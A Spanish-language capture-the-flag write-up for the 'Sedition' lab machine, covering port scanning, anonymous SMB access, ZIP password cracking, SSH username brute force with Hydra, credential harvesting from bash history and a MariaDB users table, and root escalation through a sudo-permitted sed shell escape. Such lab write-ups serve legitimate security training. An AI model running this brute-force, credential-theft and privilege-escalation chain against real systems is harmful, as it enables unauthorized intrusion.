Resolución del CTF Sedition
Enumeración
Escaneo de puertos
Realizamos un escaneo de todos los puertos para identificar los servicios activos en el sistema objetivo.
nmap -p- --open -sCV -Pn -n --min-rate 5000 192.168.0.120- -p- : Escaneo de todos los puertos. (65535)
- -sS : Realiza un TCP SYN Scan para escanear rápidamente qué puertos están abiertos.
- -sC : Escaneo con scripts básicos de reconocimiento.
- -sV : Detección de servicios.
- –min-rate 5000 : Escaneo no inferior a 5000 paquetes/segundo.
- -n : Sin resolución DNS.
- -Pn : Sin descubrimiento por ping.
Identificamos SMB en los puertos 139/445 y un servicio SSH expuesto en el puerto no estándar 65535.
Enumeración SMB
Enumeramos recursos SMB utilizando sesión anónima.
nxc smb 192.168.0.120 -u '' -p '' --sharesAccedemos al recurso compartido backup con permisos de lectura.
smbclient //192.168.0.120/backup -NDescargamos el archivo comprimido localizado en el recurso.
get secretito.zipAnálisis del archivo ZIP
El archivo ZIP está protegido por contraseña. Extraemos el hash para proceder al cracking.
zip2john secretito.zip > hash.txtCrackeamos la contraseña mediante diccionario.
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txtExtraemos el contenido del ZIP con la contraseña obtenida.
unzip secretito.zipSe obtiene un archivo password con una contraseña sin usuario asociado.
Acceso inicial
Identificamos el usuario válido para SSH mediante fuerza bruta usando la contraseña obtenida.
hydra -L /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -p <PASSWORD> ssh://192.168.0.120:65535 -t 40Accedemos por SSH con el usuario identificado.
ssh -p 65535 [email protected]Estabilizamos la terminal.
export TERM=xtermPost-explotación
Revisamos el historial de comandos y localizamos credenciales para acceso a MariaDB.
cat ~/.bash_historyAccedemos a la base de datos con las credenciales encontradas.
mariadb -u cowboy -pEnumeramos bases de datos y tablas.
SHOW DATABASES;USE bunker;SHOW TABLES;Extraemos credenciales almacenadas en la tabla users.
SELECT * FROM users;Crackeamos el hash MD5 y obtenemos credenciales del usuario debian.
su debianEscalada de privilegios
Enumeramos privilegios sudo del usuario actual.
sudo -lDetectamos permiso para ejecutar sed como root sin contraseña y explotamos el binario.
sudo sed -n '1e exec sh 1>&0' /etc/hostsObtenemos shell como root y accedemos al sistema con privilegios totales.
